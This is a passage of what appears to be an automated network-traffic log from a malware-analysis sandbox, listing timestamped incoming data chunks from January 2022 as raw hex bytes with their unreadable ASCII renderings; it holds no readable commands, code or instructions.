Data Ascii: ToXx[kj=b{`)BkVGw`8IG\#>j/Dn]{qpHv0T|!K%B2$Pa2E@>uHq2fcva%#PL370 4Kk|W'C!>{ dfD[|<]?\C7tUm-
5ux%s#'

2022-01-13 21:05:25 UTC 1149 IN Data Raw: 22 c3 99 79 3c 18 d9 9e 9b 3c 8a b1 1a 74 18 d1 b6 1d 8b bd 3f de 34 04 6f f0 29 5c 29 a2 70 36 b3 dc c0 bf 64 
3f d1 bc d6 3a 1c 22 8d 28 25 63 c4 21 9c e5 9f 2c 72 26 ba 18 0d 1d 83 dd 21 42 4a d9 43 38 97 6e cc 8e 0c 33 64 58 f2 
6f e1 ca a8 fc 81 54 f1 9e 1a eb 5a 11 16 e9 7f 7a 0a 2f a8 db f6 14 f4 a0 03 6b 36 bf 69 0a bf b0 6e b2 c3 cb 52 0c 42 c4 
73 bc 99 27 0d 4a 32 a6 43 2f f2 dc 2d 5d 2b 85 c9 03 9e c2 18 01 37 7c 8e 7b 31 60 0f 46 14 40 ed 03 43 68 cf bf 9a 7d 
53 04 00 c3 5b f3 ec 53 4a c3 b2 fc c0 2f 74 46 89 a6 39 14 72 ff 96 44 98 af 2f bb 1d fe 55 70 04 4e 3f cd 99 cb 2f a0 65 
b9 00 71 d0 a9 9c d2 85 63 e9 a2 3d 66 dc b7 9c a7 1c 1e ec 00 8a 65 2b 6e 80 18 2e 5c cf f3 cc 37 bf d6 5a 20 3f 19 5c 
29 e4 e4 45 ca e4 f1 aa bf cc 97 30 a6 8d a5 04 
Data Ascii: "y<<t?4o)\)p6d?:"(%c!,r&!BJC8n3dXoTZz/k6inRBs'J2C/-]+7|{1`F@Ch}S[SJ/tF9rD/UpN?/eqc=fe+n.\7Z ?\)E0

2022-01-13 21:05:25 UTC 1150 IN Data Raw: 00 e1 9b e8 cd 60 d2 8e a6 df 04 62 a4 18 11 51 71 0d 2b 0e 56 cc ce 3d 81 0e eb 13 e0 22 31 95 10 59 b6 10 
da fc 52 cd 60 7f 3d 0f f9 72 19 5c c1 30 b7 5d 91 4b f5 69 17 ee e4 2a 7b 81 1c 25 2c 26 b7 b7 63 41 50 4a 11 da 74 f8 85
e9 58 e4 ce e0 fe c9 5d 75 4e 4e cf e0 aa 6b 8c c6 88 82 d9 50 8b 6a 66 0d 11 cd c4 8e 29 2c d3 c9 4f bb 86 12 6f 49 58 
b4 06 12 7b ed be 63 91 a0 94 fb 36 5f 4e 84 d1 0c 0f cf 58 1d 65 89 e2 f8 4d 4b 20 07 31 95 65 58 1e 11 e3 aa 31 28 af 
a6 e6 86 63 38 d0 07 ee 7d 34 a6 08 7a b8 99 ac 1c 7c d1 da c2 da 36 42 ca 13 95 35 c2 5e 15 2c 02 e4 2a f5 f0 08 57 c0 
d0 0c 6b a8 d3 f0 41 3d 2e d4 e4 58 2d 96 7a 81 01 28 67 6d dc b3 29 ba b8 36 d2 34 c2 8c 1b 62 af 62 66 30 e4 9b cc 37 
8d 18 66 88 7f 4c f4 34 72 f7 b2 e7 16 ef 82 4d 42 4f 
Data Ascii: `bQq+V="1YR`=r\0]Ki*{%,&cAPJtX]uNNkPjf),OoIX{c6_NXeMK 1eX1(c8}4z|6B5^,*WkA=.X-z(gm)64bbf
07fL4rMBO

2022-01-13 21:05:25 UTC 1152 IN Data Raw: 08 14 cc 46 66 a9 38 15 19 6a 96 3c e5 74 72 13 2c c6 04 86 ab 71 f8 3c 71 8f 69 e7 57 63 dc 26 8e 8f 88 18 af 
84 69 f0 a5 0f 43 cd 22 bf 66 13 06 db b9 47 16 17 2e cd a3 8c b2 b4 4a 7f 45 4f c1 ab c9 5a 88 cc e5 6b 43 e9 97 c5 44 
9d 10 fa 1b 23 a0 99 7b 1b 05 4f 69 c9 b2 e5 aa 0a b2 c4 07 45 44 24 4c 84 df 08 c3 11 1c 4f fd 72 5c a4 cb 2a 58 ce a4 
b3 60 50 ce 7c 41 c9 07 d5 cc 17 19 41 82 bf 4c fd 3a 37 48 f0 5a 3d a9 5c 2a c1 2b 94 b0 e5 45 f0 56 ff 44 10 88 e0 af fa 
f1 6d 4c d0 28 9e f2 e8 2a 38 e5 9f f5 79 3f c3 33 e2 53 04 27 f8 05 33 90 20 c5 00 5e 4e 82 1f 51 22 e3 82 07 7f 13 0f 69 
15 fc 0f 7e bd c9 33 0c 85 b3 41 8d 50 bf b6 a6 9d e0 51 98 64 06 53 fc 86 79 4c 30 e3 5f 30 f0 08 7e e1 9f ac c9 0d ae ea 
df d0 5b 07 f3 fa 59 45 20 58 a0 48 79 89 26 
Data Ascii: Ff8j<tr,q<qiWc&iC"fG.JEOZkCD#{OiED$LOr\*X`P|AAL:7HZ=\*+EVDmL(*8y?3S'3 ^NQ"i~3APQdSyL0_0~[YE 
XHy&

2022-01-13 21:05:25 UTC 1153 IN Data Raw: 24 9b 11 cc c3 38 61 9d 47 77 70 78 fb e2 fc f5 2b da 32 a2 de 1c ff e9 d9 59 e0 8c 4b 1a e5 8f a7 54 88 64 df 
fe e9 c9 d9 db 1f 4f 9f 9e 7c e0 22 e2 a7 f3 15 dd 77 3f e2 d5 f9 c9 eb 77 af 08 7d 89 57 0a f1 f3 ab 1f a8 a1 5f 10 11 e8 6c 
1c 3e fa e0 5e 44 7b bf 5e 7a 8f a6 fe 6c ca dd 2b a2 d4 1b 7c 36 19 cc 27 89 61 96 e2 8f 62 61 87 e7 8a 1b 82 68 0b c9 
ed 4a 26 c5 ad f3 b6 08 31 f3 8c 6e 06 84 75 93 c6 52 8d da ce 61 09 d2 ee 31 d5 60 f9 df ce 9f e1 6e 50 26 55 cf f9 f1 fc 
d9 de 9f 9c c1 fb ec 7d 76 91 4d df bf 0f 38 51 db a5 df bb 50 49 db f0 1b dc dd 9e 59 f0 d9 78 7a 9f f5 d5 83 df eb d7 6f e4 
0b d8 1b 07 59 5e b9 fd 86 f1 b1 d7 bb 7d 9f f5 7a 71 4a 28 80 18 9a 5e 46 fb d6 db 4a 17 4b 3a 4d 51 56 d1 98 d6 18 16 
8f 0a 84 79 a3 fa 88 c0 e9 4a 55 42 db 
Data Ascii: $8aGwpx+2YKTdO|"w?w}W_l>^D{^zl+|6'abahJ&1nuRa1`nP&U}vM8QPIYxzoY^}zqJ(^FJK:MQVyJUB

2022-01-13 21:05:25 UTC 1154 IN Data Raw: 3a 8c 67 3b e6 57 9a 13 04 1a 96 0b a5 91 1a ad 4c 2b 3a 87 ba ee 68 bc 39 92 78 e8 55 81 ed 06 ef cc b1 da 
17 c2 24 b4 35 85 b0 ed c8 6b fd 55 e5 ab 23 2a 9d 4d 53 91 88 c4 83 69 29 2f 99 27 9b 17 81 19 3c ff b7 b7 cb 31 2f 4c 
b5 70 d1 39 25 11 fd 9d 16 cb a2 c9 d4 54 0b b8 50 34 a0 ae e2 30 34 fc aa 6b ed e5 44 e8 2d 61 45 c7 85 6b 71 52 bb 16 
0f a9 64 97 66 e7 39 01 1d 69 57 e5 8f c8 c2 94 e6 a6 49 08 bb c3 0c 1d 66 6d ba 23 c4 36 0f aa 10 61 1f f0 33 cc 05 64 
bd 26 6e 3a e2 a6 55 48 61 58 87 a9 e4 08 6e 49 c7 e5 a2 ea 83 e7 8e 2e 39 32 99 84 c7 b5 20 2f d6 c6 a5 c9 61 cf 8c d8 
c7 a6 3a ee 22 a9 db 48 74 1b 06 9e 12 c0 aa d6 25 a3 09 82 f0 c1 2d 43 24 40 86 f8 ef 90 2f a2 53 e3 e8 c6 e2 23 71 8e 
2e 1c 70 3d c4 8c 7f 76 6a c8 1c 56 43 ac 41 00 82 21 b8 
Data Ascii: :g;WL+:h9xU$5kU#*MSi)/'<1/Lp9%TP404kD-aEkqRdf9iWIfm#6a3d&n:UHaXnI.92 /a:"Ht%-C$@/S#q.p=vjVCA!

2022-01-13 21:05:25 UTC 1155 IN Data Raw: cf 8b 24 f9 29 9a 5f 41 c0 e3 63 a3 9e b1 e4 a8 7f f6 e2 ed 4f 1f ce 4f fe e7 5c 38 7e 43 00 93 43 19 9d 84 19 87 
d6 e1 98 35 de c0 4b 99 5e 71 f3 dd 30 31 c3 38 6b a6 24 97 eb c6 34 4d 43 0a 48 a3 1a 24 c6 1d cd f2 39 b3 c0 a3 bd ae 
06 82 1a 37 a1 93 40 41 39 b3 34 6f e2 88 c8 8e 3d a1 82 70 6a e2 60 dd 10 cc 08 c6 aa eb 84 28 39 50 65 81 9f 8a 48 da 
ec 48 e0 40 9a dc e6 b7 f3 24 26 a4 b4 a9 0a 1d 8c 31 15 88 3a 26 83 74 ec 6a 2a d3 24 58 62 25 bd 01 37 2f 52 6e 7c 0c 
55 7e ae 86 55 44 58 c9 72 65 5b 17 66 be ce a6 06 cd 58 98 eb 67 65 b0 12 a6 22 e9 2b 21 5b d0 8d ef 8a 44 a4 19 87 
8d 13 08 dc 93 4c 84 f8 ee 20 b9 2d 1e 1e b1 06 23 39 30 3a 1c 6b d9 11 ed 15 8c f9 3f c2 d5 be 31 5a 11 a4 52 0c d4 0a 
50 e3 18 c3 33 8c 25 8c 75 30 32 bb 98 eb b3 be f4 63 
Data Ascii: $)_AcOO\8~CC5K^q018k$4MCH$97@A94o=pj`(9PeHH@$&1:&tj*$Xb%7/Rn|U~UDXre[fXge"+![DL -#90:k?1
ZRP3%u02c

2022-01-13 21:05:25 UTC 1157 IN Data Raw: f1 cf bd 6b f0 86 b4 cd 0e 5f 5a 3c ee cb 7a 58 4f 6a 10 e2 db 9a 08 69 9d 7f a3 2d 7f 1d 68 f1 ac 82 c5 6b 2c 96
14 cb 4e e6 10 f3 c1 ce 86 98 d2 8a 68 8d 2d 24 94 a8 65 91 f4 48 a4 48 1a 3a 87 ce 6e b1 eb f4 58 af f3 f8 f0 11 3f 3d a6 
7d ee b0 a2 5b 12 5a 4f 97 9f a2 39 b5 f7 08 1d 8c 56 d3 f2 ff fb ef bd 32 5f 24 7b 20 57 f7 24 e2 2c f7 c6 34 cb bd 51 b2 87
5a 7b f2 82 4b 38 b7 e5 eb a8 b8 5a 2d 7b 3b b7 fb eb 9d de 22 ba 61 3b b5 4f 79 71 85 7c 7a 42 a9 91 c4 50 49 bf 3c e9 
3d 11 ce 18 65 bf 47 f7 74 b9 9a 57 f4 d9 01 7d 06 31 4b 9c 50 9b f3 b2 ef 10 7f c1 9b 32 ef c3 da 6d 1e 81 86 fe f7 77 72 
91 fe a7 96 e4 d2 b3 e4 03 3f aa 23 05 72 f1 23 88 86 db 7b 37 5a a0 07 27 f8 c9 ad fc 1b 61 c9 83 e0 cd 32 8b d5 c0 00 
06 d4 78 48 35 d2 f2 4d f4 46 a9 c1 11 
Data Ascii: k_Z<zXOji-hk,Nh-$eHH:nX?=}[ZO9V2_${ W$,4QZ{K8Z-{;"a;Oyq|zBPI<=eGtW}1KP2mwr?#r#{7Z'a2xH5MF

2022-01-13 21:05:25 UTC 1158 IN Data Raw: 97 80 1f e3 8d 58 31 19 5f c0 d9 6e 2c f2 53 19 d3 8e b5 c2 56 1d b5 4d aa c6 22 cd 5e c9 6d e6 ae d4 a3 83 
1b 2b ba 11 a5 c7 f8 e9 f8 da 1d 44 94 1e d5 de 21 13 e4 4b 23 a2 54 2f d8 22 7e 66 16 89 6f 65 94 09 fd b1 8a f9 07 8c 
29 22 48 f0 97 af d5 a3 7c a3 f8 b0 66 15 ab 5c ee 9a 51 e7 a5 7e 96 ef 5e c6 c6 8b 97 74 70 09 3e a2 65 a2 82 23 f0 bb 
13 b3 88 d6 a0 c8 97 10 8c 31 90 ca b5 30 8b ea 1a ef 94 6f 1d 37 73 dc 28 75 58 2d 53 3c e1 db 47 b4 f3 b4 2e a8 8f cc 
eb a4 2c 23 6c d6 9f 8d 0d 95 85 b4 1a 31 a2 39 c8 8d 82 81 d4 ba 4b 66 a3 a9 e1 44 7a 4d f2 e4 0d d1 09 dd 51 a2 bf 3d 
ba 10 e5 06 a2 30 cb f7 22 10 43 69 79 c5 c9 b2 f7 40 2d 8b 5f 2a bc d6 e5 3d 36 eb 0d 1a 3f f1 2e 65 20 1d 70 14 b9 30 
d7 00 11 69 9a 8c 6b 61 0a 1b c6 bc 91 94 27 5b 4c 8b c8 
Data Ascii: X1_n,SVM"^m+D!K#T/"~foe)"H|f\Q~^tp>e#10o7s(uX-S<G.,#l19KfDzMQ=0"Ciy@-_*=6?.e p0ika'[L

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1159 IN Data Raw: f3 f6 bf a5 23 68 4a bf de ef 04 9d 00 d7 12 68 75 b0 50 02 f9 59 1e 8a 5d a4 dc a6 a9 0a 7f db a4 70 3a 1b da 
19 b4 96 1f 40 28 15 41 20 f9 92 c8 5c ae 26 54 60 ed f6 ca 59 91 66 57 f7 bd c3 f5 1f 3a 07 6d 88 fc c6 1d ad 27 b9 71 84 
ff be 0d fd 4f 6c 67 e7 1e ac f9 34 b7 45 fe 5a 8c db 20 7b 0f 57 73 63 25 36 cd f6 5e d1 8a d6 48 b4 6a 81 a2 a6 db 63 c3 
65 bb 81 d5 a9 0d 71 37 20 18 82 c4 13 ce ec dc c9 69 f3 e7 9c d2 7a f3 e7 af 38 e3 f5 e6 cf 71 8d 7f b3 7c 41 6c 07 9a 27 
32 a1 2d a6 4b bf bc cc 0e 78 96 d2 d5 3b 35 74 98 4c 06 50 0a d3 47 1b 50 99 83 21 34 5a 25 0b 98 fe 75 0d 58 46 41 e9 
10 6d 9b 00 a9 14 2a 04 88 7c d3 f5 c2 30 ec be ed f9 6d 7b d7 ea 4b 5f f0 50 0c e1 42 bc 73 2f cf b3 4b 67 41 56 e0 a6 3b 
00 a2 f7 85 6b 53 8c dd 15 df 77 c9 f0 c5 
Data Ascii: #hJhuPY]p:@(A \&T`YfW:m'qOlg4EZ {Wsc%6^Hjceq7 iz8q|Al'2-Kx;5tLPGP!4Z%uXFAm*|0m{K_PBs/KgA
V;kSw

2022-01-13 21:05:25 UTC 1160 IN Data Raw: 04 10 23 a8 df f9 ab 66 54 02 65 65 13 b3 95 0d 47 78 3e 8f 0a 98 70 c3 a7 c7 f4 1d c6 f2 35 1c 12 95 89 f3 dd 
5d d7 db 68 c3 0b f8 5d 27 93 f4 33 52 4a 29 f6 84 ed 5d 10 7e 6e 35 68 20 3a b1 02 f5 8d f7 97 e4 66 a5 d3 d2 84 b6 a1 
d4 55 72 f3 14 c2 31 84 18 fa cb c9 df 3f 3c 7d 7b 7c d2 3f 39 7b 7a f4 ee 64 7b 7b d3 fe f9 73 de f0 2b b4 4b e8 69 63 5f 
84 a3 84 eb 05 a4 fb 1c 87 87 6e aa d3 66 fc 63 41 56 75 80 2e 22 22 81 6f 5e 19 db 23 4a aa f6 9e 7c 25 2c b8 da d8 bf 
f1 c2 f3 5b 57 03 6c 8d 1a 45 ae 08 0e 61 8f 14 b6 ca d6 06 30 19 d7 3e 28 c2 e6 bb 35 48 14 9b 37 1a 6e 17 83 1c 4a bf 
85 04 43 4c 0d 2b 0c 78 22 82 54 f8 9d f9 60 39 29 23 ab 49 1a 14 30 9e 5a b6 72 dc 81 8e b0 0b 67 fb 9d c3 c8 10 32 28 
c1 36 db 26 aa a6 1e 1f 3e 8a 1e ef 04 3b 4a 06 de 
Data Ascii: #fTeeGx>p5]h]'3RJ)]~n5h :fUr1?<}{|?9{zd{{s+Kic_nfcAVu.""o^#J|%,[WlEa0>(5H7nJCL+x"T`9)#I0Zrg2(6&>;J

2022-01-13 21:05:25 UTC 1162 IN Data Raw: 45 a9 48 5d 73 3a 22 53 c8 8e 0a 2c 5f 37 00 62 8c e0 7d f7 e7 b1 ff a7 5e 5f e1 d6 49 db 6a 2f 2f c7 29 c0 f2 
26 1b 49 88 8e 5b 22 af 23 93 2d d9 c5 5d f2 68 b1 0c c4 24 34 8f 9c 94 20 35 bf 93 41 77 6f 15 ce 14 98 d4 8a fb 1a 88 e8 
b0 6b 30 09 c2 45 48 b1 2c dd 62 5f 5b 30 bf 48 dc 4d 6c a4 a9 c0 e8 24 83 95 d3 db 43 a5 97 92 6b c7 fa 2a 40 9e a9 af 
a2 85 cc b5 4c 2b 6d ae 00 9d 48 2a 03 c0 a1 3d fc f5 53 b9 2a a1 5a 1e 99 93 c7 4d ad 8e c2 dc d3 60 05 02 41 38 a8 01 
3a 34 25 0a e6 8b b5 25 05 01 ac 5b 19 51 23 3d 82 87 b5 de 69 63 59 56 0d d5 50 b7 32 28 69 e0 08 89 33 4c 77 5c 23 
78 59 6d c6 15 3a 3a d8 d6 a9 94 49 23 2c 84 0e db e5 1a d7 fe 72 a3 a8 c0 80 f7 0b 47 2c 01 54 1f 4a d1 d5 88 10 7a 2f 
fa 5b 77 20 91 2e 36 87 c3 7b d2 42 8f 8a 3c 8a e9 5e 
Data Ascii: EH]s:"S,_7b}^_Ij//)&I["#-]h$4 5Awok0EH,b_[0HMl$Ck*@L+mH*=S*ZM`A8:4%%[Q#=icYVP2(i3Lw\#xYm
::I#,rG,TJz/[w .6{B<^

2022-01-13 21:05:25 UTC 1163 IN Data Raw: a3 ed 63 e5 06 88 23 69 c4 c1 96 52 42 57 25 7c a1 25 09 5b ef 65 3c 47 76 02 b1 a4 37 bc 9d 5b d9 dd 9d f1 
b9 27 03 6d 33 a4 d9 d5 05 f0 b8 aa 86 3e e8 1d 31 7c e4 28 d5 c6 a9 2c de 4a 5b 69 f6 37 d0 a2 ea ad 30 4c 1b 02 65 1a 
1a 67 bb c2 40 ad 41 9a 56 98 ee ca 8f 59 29 09 03 c4 89 1f b1 11 62 e5 2f 6a 15 e5 ad 41 57 09 23 06 a6 de ce 84 88 04 
56 89 4f 59 7b 47 04 9e 15 0a 31 b1 ee 47 22 9a cd 47 d7 96 08 30 5d 3f a8 fa 06 39 c6 da 8f fa 51 fe 66 fa db 94 1f 74 d4 
d1 c9 66 d9 2c c5 c8 b3 e0 08 4a 34 71 38 ff 30 2b c8 c5 d8 b6 b6 32 7f ab 7e 56 89 4a 2b 71 e3 ff 04 fe 12 36 d8 42 02 c9 
8f 03 15 ec 94 6b 20 80 8e 24 73 93 41 2e c5 03 90 3f 09 12 22 17 03 4a c3 4c 1b 1c 8a d0 5f 65 23 fd a9 f9 51 e2 9b dd df
dd a5 cc 97 72 92 9d 8d 76 a0 c6 c2 94 e0 90 38 
Data Ascii: c#iRBW%|%[e<Gv7['m3>1|(,J[i70Leg@AVY)b/jAW#VOY{G1G"G0]?9Qftf,J4q80+2~VJ+q6Bk $sA.?"JL_e#Qrv8

2022-01-13 21:05:25 UTC 1164 IN Data Raw: 53 a1 70 99 35 15 59 32 73 b0 4c 0a 69 6a 36 75 29 a1 7f 33 5f dd 40 86 35 09 43 3b 53 9b 02 18 9d 1f 39 b3 
d2 dc 69 9b 4f 3a 7d fb 83 fc 50 71 13 83 7c 77 d7 43 6b d9 45 7e 79 77 77 ed e2 af 7f e1 9c 3d 3d 7d f9 ee dc f1 9d b3 f3 
bf bf 3a 71 2e 3d 62 8b 91 f0 a3 2b 33 30 a2 67 b3 d1 38 63 33 54 23 92 d7 ea 5d 27 3c 01 cf eb 67 34 82 4c 27 8a 19 64 
34 82 ea 22 bb 84 82 68 43 f2 63 64 f8 a4 65 61 b2 a9 ea af b2 79 3e be 3a e3 13 85 08 60 b6 4d 99 f0 5a be af b2 89 e7 
36 19 47 49 89 18 8c 82 15 73 fc 23 73 c4 d2 7d a2 97 4f 7a 75 35 64 bc ae 93 62 f9 bd 65 9d 14 ab 43 60 ca a9 b0 2c e2 
5a 72 44 6f 33 38 93 78 b7 ee b2 d3 4f a9 73 ac 8a 3f c1 a9 f3 7b ad ce 7a 42 e4 17 20 f1 de 1e c3 00 b6 2a f5 34 99 bb 
76 a5 93 cf 99 10 21 74 7b a4 1a f6 66 86 e2 07 a2 12 
Data Ascii: Sp5Y2sLij6u)3_@5C;S9iO:}Pq|wCkE~yww==}:q.=b+30g8c3T#]'<g4L'd4"hCcdeay>:`MZ6GIs#s}Ozu5dbe
C`,ZrDo38xOs?{zB *4v!t{f

2022-01-13 21:05:25 UTC 1166 IN Data Raw: 77 d6 d5 f7 bf 62 e2 f7 0e 3a 2b 7a f7 7d 1e 7d 26 ea ba f3 ab 41 4b 54 9d 5d 74 55 bc 6c 4c 7a 60 7c 91 b7 57 
60 1f 72 15 49 04 77 9d a5 7b 7d 6f 8d 7b bf ce 74 59 8b 16 6d cc 5f b2 34 2f b4 b8 0d 76 1e 11 6a 2e e7 7a d1 4f 4b 50 ca
bd 90 c3 e5 81 b2 91 c7 fc eb 3e 62 57 47 d6 83 58 23 d0 b8 0a 00 a7 c8 7d 5f dd 63 5f d7 f4 96 7e 10 a3 ea 30 8a 31 4e 
90 79 9a 88 48 15 18 ba 94 0d 84 ea c7 dd 1d 11 f8 f0 cc 2d 6c b2 a1 eb 52 68 a7 d2 bc 50 4e 50 fa ee 33 2e 50 de f4 ee 
93 52 f4 99 d2 99 0b 79 f3 66 33 e9 fb 1a a0 3b 45 b6 b0 12 0c 61 6b 7c b9 9f 0e 2a e5 36 80 95 d4 eb d1 f4 90 89 ac 4b 
b1 e0 7b c3 d9 ad a0 8c 30 af 58 2e 25 6c 34 96 82 72 a3 69 b9 2f 76 9c 3d b8 8f 12 11 c0 e1 f0 36 c1 03 d1 04 04 b7 04 
e2 43 b7 b0 15 26 33 2b d2 90 bd 2a 1d 77 6c d6 79 
Data Ascii: wb:+z}}&AKT]tUlLz`|W`rIw{}o{tYm_4/vj.zOKP>bWGX#}_c_~01NyH-lRhPNP3.PRyf3;Eak|*6K{0X.%l4ri
/v=6C&3+*wly

2022-01-13 21:05:25 UTC 1167 IN Data Raw: 76 6e 7e 25 2c 6b a7 ba 9e 58 a5 66 2d b9 a6 e7 f9 12 f4 ff 22 2a a6 69 26 1f 2a f1 47 4a dd 1d 67 1d dc b2 f5 
ee ff 8b ae 15 b4 16 36 b4 8e 99 88 99 68 48 d0 03 a2 4d b5 56 b0 09 d5 0a 68 1a 15 37 80 f1 22 8c 1f 45 fe aa de ac c5 
c6 cd 1a 8c fb f5 bc 74 77 ab ee ee 68 5c 7a da 7a 16 ab 4d b3 30 07 c7 f8 c8 1c 10 01 57 ce c0 65 0e cc cd 01 66 b9 dd 
63 f5 35 7d b5 57 6c c3 14 d4 51 1b af 39 46 af 54 57 01 d3 02 65 7d d3 e9 5b 73 24 a2 22 81 47 b6 eb f5 89 0d 01 e5 0a 
61 b9 0b 4b d1 9a 1a 72 6f 85 57 5c 70 6b d4 09 aa 35 42 07 85 e9 9a f1 28 c1 42 a8 cc c8 2b 1f 3a 1f 8e 6b 06 a5 39 b7 
01 7a c4 e4 a1 a5 25 4c 02 7b 80 51 ff f5 c9 f1 cb 23 ef 04 a2 46 46 ef 7f 05 4b e6 ca 72 44 ba 02 c9 a5 ad 79 73 7d 9b 9c 
f4 59 04 d0 71 1b 94 ee 85 be c6 9b 17 a2 79 4f 5c 
Data Ascii: vn~%,kXf-"*i&*GJg6hHMVh7"Etwh\zzM0Wefc5}WlQ9FTWe}[s$"GaKroW\pk5B(B+:k9z%L{Q#FFKrDys}YqyO\

2022-01-13 21:05:25 UTC 1168 IN Data Raw: 4d 30 5a 03 2d ca 39 3e b1 50 7b 69 26 02 9f 20 ff 90 f0 0a 2a cc d0 8b 4d 65 33 0f 42 85 ad e7 35 b9 bd b7 d3 
5a 25 a6 ba e7 64 74 8d 5a ad e1 98 41 cb 77 94 4e d4 ea a6 6e bb 3d 43 19 ac 4f a5 28 20 c6 9f 41 46 f8 b0 fb 95 a9 ff 
94 21 8c 39 56 7e b3 d4 5f 81 f4 e7 88 c7 05 af c4 86 e8 fd 60 ef 9a 9b 25 5f f9 11 2c 24 78 59 59 45 6d 84 ec 4e 3e ba 07 
5f b1 e6 1f f4 44 38 f1 1d ed 7f 07 f4 37 73 46 15 aa dd c8 a2 58 70 1f 68 7d c2 ac b6 52 bc 70 38 d4 8b e3 1b 29 4e f0 33 
96 67 c6 b1 3d 8a 1d 23 a6 09 3d ad d2 bd 92 5a 42 30 29 f1 07 09 5a c5 af 42 84 81 62 0b 2f f1 82 53 47 d6 5f c8 5f c8 
20 09 de 1b da 74 8e ca 06 d7 13 f6 a1 ce 95 6f b1 31 dc c4 f3 2c dd 52 de 08 ec 6a 99 5c b2 db 79 66 af 17 cc 8a a7 56 
81 27 3c e1 c0 2a 5b a5 66 68 ef 85 ed d0 23 5c 
Data Ascii: M0Z-9>P{i& *Me3B5Z%dtZAwNn=CO( AF!9V~_`%_,$xYYEmN>_D87sFXph}Rp8)N3g=#=ZB0)ZBb/SG__ 
to1,Rj\yfV'<*[fh#\

2022-01-13 21:05:25 UTC 1169 IN Data Raw: 47 84 5b b1 d0 74 49 95 74 37 fb 0d c3 e7 3a c9 46 d4 82 7e a5 6f 86 0f 9c 29 72 e4 18 ec 82 99 7d 81 98 e3 
fa 2c 00 65 1a 79 b2 f5 0a 77 1d 28 ab a6 50 72 b3 60 0d 51 1f 8c b4 32 56 07 96 86 49 12 11 72 d4 82 7a 6b 5a a9 03 8c 
19 1e 6a 24 22 a8 70 5a 67 e9 d6 31 bf c1 47 f8 38 ac 1a 76 78 82 8c f3 b1 25 47 73 f6 38 7b 2b c2 fc 01 0c 3a 1a a8 c3 
22 aa cd 7a 07 22 8b fa 92 68 c7 2e 17 ab bb e2 ac 0b 9c 6c ac 3d 1f 19 df fb b7 4e 68 9a 70 d3 ee cc a4 66 ba 8e 8b 81 
31 f5 6f 1c 58 4d e3 88 43 4c 93 9e 
Data Ascii: G[tIt7:F~o)r},eyw(Pr`Q2VIrzkZj$"pZg1G8vx%Gs8{+:"z"h.l=Nhpf1oXMCL

2022-01-13 21:05:25 UTC 1170 IN Data Raw: 31 e6 44 eb 48 02 c2 bb e3 f9 b3 ba 22 87 b0 6a 57 7c 8d 77 af f0 4e 85 0e ed 02 a0 a6 06 71 30 51 d2 01 6f 
a2 32 fc 10 cc d3 dd 3b 33 02 03 7d 61 6c 76 e5 af 1e 5f 47 63 96 7e 15 f7 75 1b 32 6a 99 80 bc ad db d6 ef 02 fb dc dd 6d 
f0 e9 53 17 9b 37 58 da 4e 99 ac 06 ab 2c 1e b8 6a 5a 8e 6a 88 6d c1 02 f2 1e b7 0a b7 42 15 b4 34 5c d5 d7 c5 ee c1 a0 
0b b8 85 33 20 51 b3 b7 ca 19 3f 59 77 1f 8e ad 4a 64 7d 63 56 4a 26 8e ae 38 0b a9 c0 6d ea 1d 43 ed 97 3e c7 7e 0c 89 
42 0e be fb c3 7e 1d 5a 49 0e ef bc 73 91 fb 9a 41 62 5e e4 42 09 de 2e c1 d0 71 3c c9 3a 22 41 c7 5e d7 b0 60 c2 e3 d2 
74 76 5d 7a fe 92 4f 97 4c 2a 61 39 5d 41 37 a6 12 2a 36 82 66 a1 b8 45 bb ae b4 b3 92 bb ea c2 7a 46 15 30 13 bf e1 26 
c1 f5 3d 06 b5 3d 54 70 16 e0 36 ff e2 8d 2c 5c c4 70 
Data Ascii: 1DH"jW|wNq0Qo2;3}alv_Gc~u2jmS7XN,jZjmB4\3 Q?YwJd}cVJ&8mC>~B~ZIsAb^B.q<:"A^`tv]zOL*a9]A7*
6fEzF0&==Tp6,\p

Timestamp
kBytes
transferred Direction Data
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2022-01-13 21:05:25 UTC 1171 IN Data Raw: 72 54 8a a1 b2 de c9 b0 e5 fe 42 92 fe 1c 18 d0 ac 92 75 a7 27 34 b1 9d 14 9d 23 da 78 df 6a 87 3e 1d c2 fe 9e 
1d da dd c6 4b 5f 0f 2c 18 d7 f9 37 04 45 c0 64 80 c2 be 3d 91 ab a4 17 cd 3f 45 37 a5 72 f3 bc 0f eb fa 39 dd 0f c5 a7 14 
86 67 2a 18 e1 75 5a dd 10 ad 19 d1 f6 26 a5 c8 e0 01 ff 81 4f 79 71 d5 5b 72 80 80 f9 4d 1f e2 53 05 86 b1 0a 7d 78 8a 
58 db 10 4a b4 15 e4 5a b7 53 bb 2d f6 d2 3e b6 bf aa e6 49 1b 3e f4 56 a9 16 66 fc e9 40 98 cf 2e fa 55 8e e0 ba b0 9f 
81 93 2d 80 4c 8d e6 bc 43 6d a5 82 80 27 9e df f5 3a 2f 10 8b 8e c5 0e 63 66 03 b8 a6 31 a6 f3 6e 5d 86 d5 6c 67 8d ce 
96 d9 bc 20 de 14 fc 5e ea bd 11 eb 55 cb 01 94 11 b7 f4 72 18 6c 08 73 bf f5 d4 14 92 65 a6 90 ec f8 e5 d1 ab b7 cf 39 
22 9c 9d 13 e0 69 67 4e 80 4c 41 75 1d af 3f e8 ec 
Data Ascii: rTBu'4#xj>K_,7Ed=?E7r9g*uZ&Oyq[rMS}xXJZS->I>Vf@.U-LCm':/cf1n]lg ^Urlse9"igNLAu?

2022-01-13 21:05:25 UTC 1172 IN Data Raw: 6b 38 fa da c5 90 2e f3 8b 42 73 3e 58 12 45 d4 bb 0a d4 90 3b 28 58 a5 85 0b bc bb 1b 47 32 17 1d ef 65 d0 
c6 5a 6b 7a 99 dc 6e e3 f3 04 51 02 06 06 b0 8b 67 41 41 f8 a8 f6 4c 2e 19 91 e6 0a ff ee 2d f1 ef 10 ac ed da 45 bb d1 c2 
71 95 57 72 39 4d 58 38 98 3b d1 70 63 1b ec 56 22 8b c6 ab 83 be 27 eb 53 e5 53 91 8a 27 22 93 2c 32 2d 97 7c a8 55 
5f 4a 0a 09 99 fd 20 78 b8 c7 dd d9 7b 18 58 7d a1 ab 17 1b d0 09 f2 eb 20 fd 9c 6f 46 0f 25 a8 df 05 1d 99 02 e4 44 b4 8d 
19 12 0c 5c 6b 4c 18 24 f1 4a b6 e2 92 ff d0 b0 e0 4f 7c be 97 5c cc 94 f7 c7 44 b9 84 38 dd 54 ab 99 d3 75 3d 4b 53 b2 
